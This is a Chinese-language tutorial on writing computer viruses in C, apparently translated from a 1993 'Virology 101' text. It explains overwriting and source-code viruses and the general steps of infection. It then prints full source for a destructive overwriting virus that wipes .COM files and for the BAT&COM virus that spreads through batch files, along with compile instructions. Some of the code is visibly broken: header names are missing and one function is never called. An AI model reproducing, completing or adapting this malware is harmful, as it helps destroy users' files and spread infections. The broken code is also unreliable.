C,是程序员最常用的编程语言之一。类似C等高级编程语言为开发人员提供了大量的内置函数,可以方便程序员编写各种跨平台的安心的应用编程。对于编写病毒而言,也方便了程序员来用自己擅长的语言来编写,但同时也带来了很多弊端。第一,许多高级语言的编程并不基于底层系统,即使是C也不太容易。这就导致这类的大都数病毒的传播机制十分原始(通常是通过重写来实现);另一方面的不足是,大多用高级语言编写的病毒至少有10K,然而更多是比这还更大,这对病毒来说可行不通。如此大的一个常驻内存的病毒将是不切实际的,因为当一大块内存不明不白的消失时,这很容易引起用户的注意。
另一种用高级语言编写的是代码病毒(source-code virus)。这类病毒极其罕见,但是这类病毒是非常高效的。代码病毒的机制,简而言之,搜索同一类语言的代码文件,比如说,它可能会搜找全部以“.C”为扩展名的C文件,然后它会把自己的加到那个文件里(通常以添加一个包含此程序的头文件然后在main()函数中添加一个调用),这使病毒在编译这文件时至少执行一次。编译之后,病毒一般会隐藏在这程序里潜伏,直到找到另一个C文件。
不管病毒采用哪种方式,所有的病毒都具有如下一些共同的基本特性:
1.搜寻一个文件进行感染,这文件可以是可执行文件,源代码文件,或是什么都行(若没找到,则跳转到第三步)
2.把病毒本体写入此文件
3.检查有没可满足的触发条件
4.返回宿主程序或是停止运行并返回到DOS
对于重写型病毒(Overwriting Virus),它的实现方式很简单。唯一的不足是,它们会摧毁被感染的文件,这使它们很容易被发现。唯一弥补的办法是,找到所有的被感染的文件并删除它们,然后从备件那里恢复。下面这个病毒是用C写的比较简单的重写型病毒,它会感染当前目录下的所有.COM文件,然后把它们彻底删除。每当它感觉到一个文件,它会在屏幕上打印出“Infecting [FILENAME]”(感染 [文件名])警告。如果你想把它编译并测试,则首先编译它,然后用EXE2BIN把它转化成.BIN文件,之后检查它的最终大小。如果不等于9504K,则改写这行:“x=9054;”成适当的大小。它会以一种很原始的方式:删除所有的它命中.COM文件,因此得相当小心这病毒。
代码:
- - ------------------ Cut Here -------------------------- - -
/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */
/* It was presented in Virology 101 (c) 1993 Black Wolf */
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
#include
#include
#include
FILE *Virus,*Host
int x,y,done;
char buff[256];
struct ffblk ffblk;
main()
{
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
while (!done) /* Loop for all COM"s in DIR*/
{
printf("Infecting %s ", ffblk.ff_name); /* Inform user */
Virus=fopen(_argv[0],"rb"); /* Open infected file */
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
x=9504; /* Virus size - must */
/* be correct for the */
/* compiler it is made */
/* on, otherwise the */
/* entire virus may not*/
/* be copied!! */
while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/
done = findnext(&ffblk); /* go for another one. */
}
/* Activation would go */
/* here */
return (0); /* Terminate */
}
- - ------------------ Cut Here --------------------------- - -
下面要介绍的病毒也是用C编写的,但它和上面所讲的病毒在功能上有很大的不同。它不是感染可执行文件并重写它们,而是感染指定目录的.BAT文件。当BAT&COM执行的时候,它首先会在当前目录的下一个目录搜寻批处理文件(Batch file)。如果没有找到任何的BAT文件,它会试着在根目录里找,最后会试着在DOS目录下找。如果它找到了,它会感染此目录下的所有批处理文件,然后检查这文件已经被感染。如果没有,就生成一个包含病毒,名叫BAT&COM的文件。在我的设置里,用EXE2BIN转换之后,最终大小约为10K。这病毒代码如下:
The BAT&COM Virus in C
代码:
- - - -----------------Start Code------------------------- - - -
/* This file is a high-level language virus of a different sort.
It will search out batch files and, when found, place a copy
of itself in the directory with the batch file while adding
instructions in the BAT to execute this new file. In this way,
it will spread each time an "infected" batch is run.
Disinfection is done simply by deleting all of the BAT&COM.COM
files and removing the commands from batch files that ruin
them. This one is NOT confined to the current directory,
so make sure it is on an isolated machine and be sure to
clean up any infections. PLEASE DO NOT RELEASE!
BAT&COM virus is (C) 1993 Black Wolf Enterprises.
*/
#include
#include
#include
#include
struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir); /* Save the old directory */
Pick_A_Dir(); /* Find a new directory to */
Infect_Directory(); /* infect and infect it. */
chdir(old_dir); /* Return to old directory */
return 0;
}
Pick_A_Dir()
{
int done;
chdir(".."); /* First, Go out a DIR. */
done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
/* root and DOS */
if (done)
{
chdir("");
done=findfirst("*.BAT",&ffblk,0);
if (done) chdir("DOS");
}
return 0;
}
Infect_Directory()
{
int done;
done = findfirst("*.BAT",&ffblk,0);
while (!done) /* Find all .BAT files */
{ /* and add code to run */
Do_Batch(); /* BAT&COM if not */
done = findnext(&ffblk); /* already there */
}
if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */
/* not exist, then */
return 0; /* copy it into dir.*/
}
Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];
Get_Path(vpath); /* Get path for adding path */
/* specifier in commands */
if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */
batch=fopen(ffblk.ff_name, "rt+");
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0; /* Terminate String */
if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
{ /* Batch is */
fseek(batch, 0, SEEK_END); /* infected.*/
fprintf(batch," %sBAT&COM.COM",vpath);
} /*^- Add command */
/* to batch */
fclose(batch);
return 0;
}
Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024]; /* Copy the virus to */
/* new directory */
old_virus=fopen(_argv[0],"rb");
new_virus=fopen("BAT&COM.COM","wb");
write_length=1024;
while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}
Get_Path(char *path)
{
strcpy(path, "A:");
path[0] ="A" + getdisk(); /* Returns current path */
getcurdir(0, path+3);
return 0;
}
- - - -----------------End of Code------------------------ - - -